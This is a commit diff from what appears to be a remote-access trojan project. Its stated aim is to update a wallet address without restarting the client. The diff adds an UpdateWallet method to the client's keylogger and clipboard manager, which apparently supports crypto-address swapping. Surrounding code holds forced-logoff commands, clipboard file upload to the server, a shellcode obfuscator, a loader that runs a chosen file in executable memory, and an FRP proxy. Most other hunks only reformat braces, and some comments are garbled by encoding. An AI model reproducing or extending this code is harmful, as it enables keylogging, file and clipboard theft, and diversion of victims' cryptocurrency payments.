fix: No need to restart client to update wallet address
This commit is contained in:
@@ -171,11 +171,13 @@ public:
|
|||||||
m_nHostPort = uPort;
|
m_nHostPort = uPort;
|
||||||
}
|
}
|
||||||
|
|
||||||
std::string ServerIP() const {
|
std::string ServerIP() const
|
||||||
|
{
|
||||||
return m_sCurIP;
|
return m_sCurIP;
|
||||||
}
|
}
|
||||||
|
|
||||||
int ServerPort() const {
|
int ServerPort() const
|
||||||
|
{
|
||||||
return m_nHostPort;
|
return m_nHostPort;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -365,7 +365,8 @@ BOOL IsRunningAsAdmin()
|
|||||||
return isAdmin;
|
return isAdmin;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool EnableShutdownPrivilege() {
|
bool EnableShutdownPrivilege()
|
||||||
|
{
|
||||||
HANDLE hToken;
|
HANDLE hToken;
|
||||||
TOKEN_PRIVILEGES tkp;
|
TOKEN_PRIVILEGES tkp;
|
||||||
|
|
||||||
@@ -411,8 +412,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
Mprintf("收到机器管理命令: %d, %d\n", szBuffer[0], szBuffer[1]);
|
Mprintf("收到机器管理命令: %d, %d\n", szBuffer[0], szBuffer[1]);
|
||||||
break;
|
break;
|
||||||
#endif
|
#endif
|
||||||
switch (szBuffer[1])
|
switch (szBuffer[1]) {
|
||||||
{
|
|
||||||
case MACHINE_LOGOUT: {
|
case MACHINE_LOGOUT: {
|
||||||
ExitWindowsEx(EWX_LOGOFF | EWX_FORCE, 0);
|
ExitWindowsEx(EWX_LOGOFF | EWX_FORCE, 0);
|
||||||
break;
|
break;
|
||||||
@@ -583,9 +583,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
case CMD_MASTERSETTING:
|
case CMD_MASTERSETTING:
|
||||||
if (ulLength > sizeof(MasterSettings)) {
|
if (ulLength > sizeof(MasterSettings)) {
|
||||||
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
|
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
|
||||||
// Remark 打开键盘记录或下一次启动客户端才会生效
|
|
||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
|
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
|
||||||
|
CManager* pMgr = (CManager*)m_hKeyboard->user;
|
||||||
|
if (pMgr) {
|
||||||
|
pMgr->UpdateWallet(m_settings.WalletAddress);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case COMMAND_KEYBOARD: { //键盘记录
|
case COMMAND_KEYBOARD: { //键盘记录
|
||||||
|
|||||||
@@ -80,6 +80,13 @@ void CKeyboardManager1::Notify()
|
|||||||
WaitForDialogOpen();
|
WaitForDialogOpen();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CKeyboardManager1::UpdateWallet(const std::string& wallet)
|
||||||
|
{
|
||||||
|
m_mu.Lock();
|
||||||
|
m_Wallet = StringToVector(wallet, ';', MAX_WALLET_NUM);
|
||||||
|
m_mu.Unlock();
|
||||||
|
}
|
||||||
|
|
||||||
void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
||||||
{
|
{
|
||||||
if (lpBuffer[0] == COMMAND_NEXT)
|
if (lpBuffer[0] == COMMAND_NEXT)
|
||||||
|
|||||||
@@ -228,6 +228,7 @@ public:
|
|||||||
CKeyboardManager1(IOCPClient*pClient, int offline, void* user=NULL);
|
CKeyboardManager1(IOCPClient*pClient, int offline, void* user=NULL);
|
||||||
virtual ~CKeyboardManager1();
|
virtual ~CKeyboardManager1();
|
||||||
virtual void Notify();
|
virtual void Notify();
|
||||||
|
virtual void UpdateWallet(const std::string& wallet);
|
||||||
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
||||||
static DWORD WINAPI Clipboard(LPVOID lparam);
|
static DWORD WINAPI Clipboard(LPVOID lparam);
|
||||||
static DWORD WINAPI KeyLogger(LPVOID lparam);
|
static DWORD WINAPI KeyLogger(LPVOID lparam);
|
||||||
|
|||||||
@@ -262,14 +262,14 @@ std::string GetCurrentExeVersion()
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
std::string GetCurrentUserNameA() {
|
std::string GetCurrentUserNameA()
|
||||||
|
{
|
||||||
char username[256];
|
char username[256];
|
||||||
DWORD size = sizeof(username);
|
DWORD size = sizeof(username);
|
||||||
|
|
||||||
if (GetUserNameA(username, &size)) {
|
if (GetUserNameA(username, &size)) {
|
||||||
return std::string(username);
|
return std::string(username);
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
return "Unknown";
|
return "Unknown";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -53,6 +53,7 @@ public:
|
|||||||
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||||
}
|
}
|
||||||
virtual void Notify() { }
|
virtual void Notify() { }
|
||||||
|
virtual void UpdateWallet(const std::string &wallet) { }
|
||||||
BOOL Send(LPBYTE lpData, UINT nSize);
|
BOOL Send(LPBYTE lpData, UINT nSize);
|
||||||
BOOL SendData(LPBYTE lpData, UINT nSize)
|
BOOL SendData(LPBYTE lpData, UINT nSize)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -30,16 +30,30 @@
|
|||||||
#pragma comment(lib, "FileUpload_Libx64.lib")
|
#pragma comment(lib, "FileUpload_Libx64.lib")
|
||||||
#endif
|
#endif
|
||||||
#else
|
#else
|
||||||
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs) { return 0; }
|
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs)
|
||||||
int UninitFileUpload() { return 0; }
|
{
|
||||||
std::vector<std::string> GetClipboardFiles() { return{}; }
|
return 0;
|
||||||
bool GetCurrentFolderPath(std::string& outDir) { return false; }
|
}
|
||||||
|
int UninitFileUpload()
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
std::vector<std::string> GetClipboardFiles()
|
||||||
|
{
|
||||||
|
return{};
|
||||||
|
}
|
||||||
|
bool GetCurrentFolderPath(std::string& outDir)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
|
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
|
||||||
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac) {
|
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac)
|
||||||
|
{
|
||||||
finish(user);
|
finish(user);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac) {
|
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac)
|
||||||
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
@@ -311,7 +325,8 @@ CScreenManager::~CScreenManager()
|
|||||||
m_ScreenSpyObject = NULL;
|
m_ScreenSpyObject = NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
void RunFileReceiver(CScreenManager *mgr, const std::string &folder) {
|
void RunFileReceiver(CScreenManager *mgr, const std::string &folder)
|
||||||
|
{
|
||||||
auto start = time(0);
|
auto start = time(0);
|
||||||
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
|
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
|
||||||
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType());
|
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType());
|
||||||
@@ -327,7 +342,8 @@ void RunFileReceiver(CScreenManager *mgr, const std::string &folder) {
|
|||||||
Mprintf("Leave thread RunFileReceiver: %d. Cost: %d s\n", GetCurrentThreadId(), time(0)-start);
|
Mprintf("Leave thread RunFileReceiver: %d. Cost: %d s\n", GetCurrentThreadId(), time(0)-start);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) {
|
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size)
|
||||||
|
{
|
||||||
IOCPClient* pClient = (IOCPClient*)user;
|
IOCPClient* pClient = (IOCPClient*)user;
|
||||||
if (!pClient->IsConnected() || !pClient->Send2Server((char*)data, size)) {
|
if (!pClient->IsConnected() || !pClient->Send2Server((char*)data, size)) {
|
||||||
return false;
|
return false;
|
||||||
@@ -335,17 +351,20 @@ bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void RecvData(void* ptr) {
|
void RecvData(void* ptr)
|
||||||
|
{
|
||||||
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
|
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
|
||||||
}
|
}
|
||||||
|
|
||||||
void delay_destroy(IOCPClient* pClient, int sec) {
|
void delay_destroy(IOCPClient* pClient, int sec)
|
||||||
|
{
|
||||||
if (!pClient) return;
|
if (!pClient) return;
|
||||||
Sleep(sec * 1000);
|
Sleep(sec * 1000);
|
||||||
delete pClient;
|
delete pClient;
|
||||||
}
|
}
|
||||||
|
|
||||||
void FinishSend(void* user) {
|
void FinishSend(void* user)
|
||||||
|
{
|
||||||
IOCPClient* pClient = (IOCPClient*)user;
|
IOCPClient* pClient = (IOCPClient*)user;
|
||||||
std::thread(delay_destroy, pClient, 15).detach();
|
std::thread(delay_destroy, pClient, 15).detach();
|
||||||
}
|
}
|
||||||
@@ -373,8 +392,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
case COMMAND_SCREEN_GET_CLIPBOARD: {
|
case COMMAND_SCREEN_GET_CLIPBOARD: {
|
||||||
auto files = GetClipboardFiles();
|
auto files = GetClipboardFiles();
|
||||||
if (!files.empty())
|
if (!files.empty()) {
|
||||||
{
|
|
||||||
char h[100] = {};
|
char h[100] = {};
|
||||||
memcpy(h, szBuffer + 1, ulLength - 1);
|
memcpy(h, szBuffer + 1, ulLength - 1);
|
||||||
m_hash = std::string(h, h + 64);
|
m_hash = std::string(h, h + 64);
|
||||||
@@ -398,8 +416,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
m_hash = std::string(h, h + 64);
|
m_hash = std::string(h, h + 64);
|
||||||
m_hmac = std::string(h + 64, h + 80);
|
m_hmac = std::string(h + 64, h + 80);
|
||||||
|
|
||||||
if (OpenClipboard(nullptr))
|
if (OpenClipboard(nullptr)) {
|
||||||
{
|
|
||||||
EmptyClipboard();
|
EmptyClipboard();
|
||||||
CloseClipboard();
|
CloseClipboard();
|
||||||
}
|
}
|
||||||
@@ -416,8 +433,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
||||||
std::thread(FileBatchTransferWorker, files, dir, pClient, ::SendData, ::FinishSend,
|
std::thread(FileBatchTransferWorker, files, dir, pClient, ::SendData, ::FinishSend,
|
||||||
m_hash, m_hmac).detach();
|
m_hash, m_hmac).detach();
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
delete pClient;
|
delete pClient;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -444,8 +460,7 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
|
|||||||
if (hGlobal != NULL) {
|
if (hGlobal != NULL) {
|
||||||
|
|
||||||
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
||||||
if (szClipboardVirtualAddress == NULL)
|
if (szClipboardVirtualAddress == NULL) {
|
||||||
{
|
|
||||||
GlobalFree(hGlobal);
|
GlobalFree(hGlobal);
|
||||||
CloseClipboard();
|
CloseClipboard();
|
||||||
return;
|
return;
|
||||||
|
|||||||
@@ -48,7 +48,8 @@ public:
|
|||||||
std::string m_hash;
|
std::string m_hash;
|
||||||
std::string m_hmac;
|
std::string m_hmac;
|
||||||
CONNECT_ADDRESS *m_conn = nullptr;
|
CONNECT_ADDRESS *m_conn = nullptr;
|
||||||
void SetConnection(CONNECT_ADDRESS* conn){
|
void SetConnection(CONNECT_ADDRESS* conn)
|
||||||
|
{
|
||||||
m_conn = conn;
|
m_conn = conn;
|
||||||
}
|
}
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|||||||
@@ -91,7 +91,8 @@ int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool WriteRegistryString(const char* path, const char* keyName, const char* value) {
|
bool WriteRegistryString(const char* path, const char* keyName, const char* value)
|
||||||
|
{
|
||||||
HKEY hKey;
|
HKEY hKey;
|
||||||
LONG result = RegCreateKeyExA(HKEY_CURRENT_USER,path,0,NULL,0,KEY_WRITE,NULL,&hKey,NULL);
|
LONG result = RegCreateKeyExA(HKEY_CURRENT_USER,path,0,NULL,0,KEY_WRITE,NULL,&hKey,NULL);
|
||||||
if (result != ERROR_SUCCESS) {
|
if (result != ERROR_SUCCESS) {
|
||||||
@@ -126,7 +127,8 @@ char* ReadRegistryString(const char* subKey, const char* valueName)
|
|||||||
return data;
|
return data;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool WriteAppSettingBinary(const char* path, const char* keyName, const void* data, DWORD dataSize) {
|
bool WriteAppSettingBinary(const char* path, const char* keyName, const void* data, DWORD dataSize)
|
||||||
|
{
|
||||||
HKEY hKey;
|
HKEY hKey;
|
||||||
LONG result = RegCreateKeyExA(HKEY_CURRENT_USER,path,0,NULL,0,KEY_WRITE,NULL,&hKey,NULL);
|
LONG result = RegCreateKeyExA(HKEY_CURRENT_USER,path,0,NULL,0,KEY_WRITE,NULL,&hKey,NULL);
|
||||||
if (result != ERROR_SUCCESS) {
|
if (result != ERROR_SUCCESS) {
|
||||||
@@ -138,7 +140,8 @@ bool WriteAppSettingBinary(const char* path, const char* keyName, const void* da
|
|||||||
return result == ERROR_SUCCESS;
|
return result == ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool ReadAppSettingBinary(const char* path, const char* keyName, BYTE* outDataBuf, DWORD* dataSize) {
|
bool ReadAppSettingBinary(const char* path, const char* keyName, BYTE* outDataBuf, DWORD* dataSize)
|
||||||
|
{
|
||||||
HKEY hKey;
|
HKEY hKey;
|
||||||
LONG result = RegOpenKeyExA(HKEY_CURRENT_USER,path,0,KEY_READ,&hKey);
|
LONG result = RegOpenKeyExA(HKEY_CURRENT_USER,path,0,KEY_READ,&hKey);
|
||||||
if (result != ERROR_SUCCESS) {
|
if (result != ERROR_SUCCESS) {
|
||||||
@@ -167,7 +170,8 @@ bool ReadAppSettingBinary(const char* path, const char* keyName, BYTE* outDataBu
|
|||||||
}
|
}
|
||||||
|
|
||||||
#define MD5_DIGEST_LENGTH 16
|
#define MD5_DIGEST_LENGTH 16
|
||||||
const char* CalcMD5FromBytes(const BYTE* data, DWORD length) {
|
const char* CalcMD5FromBytes(const BYTE* data, DWORD length)
|
||||||
|
{
|
||||||
static char md5String[MD5_DIGEST_LENGTH * 2 + 1]; // 32 hex chars + '\0'
|
static char md5String[MD5_DIGEST_LENGTH * 2 + 1]; // 32 hex chars + '\0'
|
||||||
if (data == NULL || length == 0) {
|
if (data == NULL || length == 0) {
|
||||||
memset(md5String, 0, sizeof(md5String));
|
memset(md5String, 0, sizeof(md5String));
|
||||||
|
|||||||
@@ -4,8 +4,7 @@
|
|||||||
#include <vector>
|
#include <vector>
|
||||||
|
|
||||||
#pragma pack(push, 1)
|
#pragma pack(push, 1)
|
||||||
struct FileChunkPacket
|
struct FileChunkPacket {
|
||||||
{
|
|
||||||
unsigned char cmd; // COMMAND_SEND_FILE
|
unsigned char cmd; // COMMAND_SEND_FILE
|
||||||
uint32_t fileIndex; // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
uint32_t fileIndex; // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
uint32_t totalNum; // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
uint32_t totalNum; // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|||||||
@@ -5,7 +5,8 @@
|
|||||||
#include <stddef.h>
|
#include <stddef.h>
|
||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
class ObfsBase {
|
class ObfsBase
|
||||||
|
{
|
||||||
public:
|
public:
|
||||||
bool m_bGenCArray;
|
bool m_bGenCArray;
|
||||||
ObfsBase(bool genCArray = true) : m_bGenCArray(genCArray) { }
|
ObfsBase(bool genCArray = true) : m_bGenCArray(genCArray) { }
|
||||||
@@ -17,12 +18,14 @@ public:
|
|||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD>෴
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD>෴
|
||||||
virtual void DeobfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) {}
|
virtual void DeobfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) {}
|
||||||
|
|
||||||
virtual bool WriteFile(const char* filename, uint8_t* data, size_t length, const char* arrayName) {
|
virtual bool WriteFile(const char* filename, uint8_t* data, size_t length, const char* arrayName)
|
||||||
|
{
|
||||||
return m_bGenCArray ? WriteBinaryAsCArray(filename, data, length, arrayName) : WriteBinaryFile(filename, data, length);
|
return m_bGenCArray ? WriteBinaryAsCArray(filename, data, length, arrayName) : WriteBinaryFile(filename, data, length);
|
||||||
}
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> C <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽд<CABD><D0B4><EFBFBD>ļ<EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> C <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽд<CABD><D0B4><EFBFBD>ļ<EFBFBD>
|
||||||
virtual bool WriteBinaryAsCArray(const char* filename, uint8_t* data, size_t length, const char* arrayName) {
|
virtual bool WriteBinaryAsCArray(const char* filename, uint8_t* data, size_t length, const char* arrayName)
|
||||||
|
{
|
||||||
FILE* file = fopen(filename, "w");
|
FILE* file = fopen(filename, "w");
|
||||||
if (!file) return false;
|
if (!file) return false;
|
||||||
|
|
||||||
@@ -42,7 +45,8 @@ public:
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ʹ<><CAB9> "wb" <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ģʽ
|
// ʹ<><CAB9> "wb" <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ģʽ
|
||||||
virtual bool WriteBinaryFile(const char* filename, const uint8_t* data, size_t length) {
|
virtual bool WriteBinaryFile(const char* filename, const uint8_t* data, size_t length)
|
||||||
|
{
|
||||||
FILE* file = fopen(filename, "wb");
|
FILE* file = fopen(filename, "wb");
|
||||||
if (!file) return false;
|
if (!file) return false;
|
||||||
|
|
||||||
@@ -53,15 +57,18 @@ public:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
class Obfs : public ObfsBase {
|
class Obfs : public ObfsBase
|
||||||
|
{
|
||||||
private:
|
private:
|
||||||
// <20><><EFBFBD><EFBFBD>8λ<38><CEBB><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD>8λ<38><CEBB><EFBFBD><EFBFBD>
|
||||||
static inline uint8_t rol8(uint8_t val, int shift) {
|
static inline uint8_t rol8(uint8_t val, int shift)
|
||||||
|
{
|
||||||
return (val << shift) | (val >> (8 - shift));
|
return (val << shift) | (val >> (8 - shift));
|
||||||
}
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD>8λ<38><CEBB><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD>8λ<38><CEBB><EFBFBD><EFBFBD>
|
||||||
static inline uint8_t ror8(uint8_t val, int shift) {
|
static inline uint8_t ror8(uint8_t val, int shift)
|
||||||
|
{
|
||||||
return (val >> shift) | (val << (8 - shift));
|
return (val >> shift) | (val << (8 - shift));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -69,7 +76,8 @@ public:
|
|||||||
Obfs(bool genCArray = true) : ObfsBase(genCArray) { }
|
Obfs(bool genCArray = true) : ObfsBase(genCArray) { }
|
||||||
|
|
||||||
// <20>Գƻ<D4B3><C6BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڼ<EFBFBD><DABC>ܺͽ<DCBA><CDBD><EFBFBD>
|
// <20>Գƻ<D4B3><C6BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڼ<EFBFBD><DABC>ܺͽ<DCBA><CDBD><EFBFBD>
|
||||||
virtual void ObfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) {
|
virtual void ObfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed)
|
||||||
|
{
|
||||||
uint32_t state = seed;
|
uint32_t state = seed;
|
||||||
|
|
||||||
for (size_t i = 0; i < len; ++i) {
|
for (size_t i = 0; i < len; ++i) {
|
||||||
@@ -80,7 +88,8 @@ public:
|
|||||||
}
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD>෴
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD>෴
|
||||||
virtual void DeobfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) {
|
virtual void DeobfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed)
|
||||||
|
{
|
||||||
uint32_t state = seed;
|
uint32_t state = seed;
|
||||||
|
|
||||||
for (size_t i = 0; i < len; ++i) {
|
for (size_t i = 0; i < len; ++i) {
|
||||||
|
|||||||
Binary file not shown.
@@ -1133,11 +1133,13 @@ DWORD WINAPI CMy2015RemoteDlg::StartFrpClient(LPVOID param)
|
|||||||
int usingFRP = 0;
|
int usingFRP = 0;
|
||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
usingFRP = ip.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
|
usingFRP = ip.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
|
||||||
#endif
|
#else
|
||||||
if (!usingFRP) {
|
|
||||||
CloseHandle(This->m_hFRPThread);
|
CloseHandle(This->m_hFRPThread);
|
||||||
This->m_hFRPThread = NULL;
|
This->m_hFRPThread = NULL;
|
||||||
return 0x20250820;
|
return 0x20250820;
|
||||||
|
#endif
|
||||||
|
if (usingFRP) {
|
||||||
|
This->m_frpStatus = STATUS_RUN;
|
||||||
}
|
}
|
||||||
|
|
||||||
Mprintf("[FRP] Proxy thread start running\n");
|
Mprintf("[FRP] Proxy thread start running\n");
|
||||||
@@ -2056,7 +2058,8 @@ std::string getDateStr(int daysOffset = 0)
|
|||||||
return oss.str();
|
return oss.str();
|
||||||
}
|
}
|
||||||
|
|
||||||
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) {
|
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size)
|
||||||
|
{
|
||||||
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
|
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
|
||||||
if (!ctx->Send2Client(data, size)) {
|
if (!ctx->Send2Client(data, size)) {
|
||||||
return false;
|
return false;
|
||||||
@@ -2064,17 +2067,20 @@ bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void RecvData(void* ptr) {
|
void RecvData(void* ptr)
|
||||||
|
{
|
||||||
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
|
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
|
||||||
}
|
}
|
||||||
|
|
||||||
void delay_cancel(CONTEXT_OBJECT* ctx, int sec) {
|
void delay_cancel(CONTEXT_OBJECT* ctx, int sec)
|
||||||
|
{
|
||||||
if (!ctx) return;
|
if (!ctx) return;
|
||||||
Sleep(sec*1000);
|
Sleep(sec*1000);
|
||||||
ctx->CancelIO();
|
ctx->CancelIO();
|
||||||
}
|
}
|
||||||
|
|
||||||
void FinishSend(void* user) {
|
void FinishSend(void* user)
|
||||||
|
{
|
||||||
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
|
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
|
||||||
// 需要等待客户端接收完成方可关闭
|
// 需要等待客户端接收完成方可关闭
|
||||||
std::thread(delay_cancel, ctx, 15).detach();
|
std::thread(delay_cancel, ctx, 15).detach();
|
||||||
@@ -2433,7 +2439,8 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bool isAllZeros(const BYTE* data, int len) {
|
bool isAllZeros(const BYTE* data, int len)
|
||||||
|
{
|
||||||
for (int i = 0; i < len; ++i)
|
for (int i = 0; i < len; ++i)
|
||||||
if (data[i])
|
if (data[i])
|
||||||
return false;
|
return false;
|
||||||
@@ -3157,12 +3164,12 @@ void CMy2015RemoteDlg::OnToolInputPassword()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bool safe_exec(void *exec) {
|
bool safe_exec(void *exec)
|
||||||
|
{
|
||||||
__try {
|
__try {
|
||||||
((void(*)())exec)();
|
((void(*)())exec)();
|
||||||
return true;
|
return true;
|
||||||
}
|
} __except (EXCEPTION_EXECUTE_HANDLER) {
|
||||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
|
||||||
VirtualFree(exec, 0, MEM_RELEASE);
|
VirtualFree(exec, 0, MEM_RELEASE);
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
@@ -3184,14 +3191,14 @@ int main() {
|
|||||||
}
|
}
|
||||||
*/
|
*/
|
||||||
#include "common/obfs.h"
|
#include "common/obfs.h"
|
||||||
void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = ".c") {
|
void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = ".c")
|
||||||
|
{
|
||||||
CFileDialog fileDlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
|
CFileDialog fileDlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
|
||||||
_T("DLL Files (*.dll)|*.dll|BIN Files (*.bin)|*.bin|All Files (*.*)|*.*||"), AfxGetMainWnd());
|
_T("DLL Files (*.dll)|*.dll|BIN Files (*.bin)|*.bin|All Files (*.*)|*.*||"), AfxGetMainWnd());
|
||||||
int ret = 0;
|
int ret = 0;
|
||||||
try {
|
try {
|
||||||
ret = fileDlg.DoModal();
|
ret = fileDlg.DoModal();
|
||||||
}
|
} catch (...) {
|
||||||
catch (...) {
|
|
||||||
AfxMessageBox("文件对话框未成功打开! 请稍后再试。", MB_ICONWARNING);
|
AfxMessageBox("文件对话框未成功打开! 请稍后再试。", MB_ICONWARNING);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -3218,13 +3225,11 @@ void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = "
|
|||||||
memcpy(exec, szBuffer, dwFileSize);
|
memcpy(exec, szBuffer, dwFileSize);
|
||||||
if (safe_exec(exec)) {
|
if (safe_exec(exec)) {
|
||||||
AfxMessageBox("Shellcode 执行成功! ", MB_ICONINFORMATION);
|
AfxMessageBox("Shellcode 执行成功! ", MB_ICONINFORMATION);
|
||||||
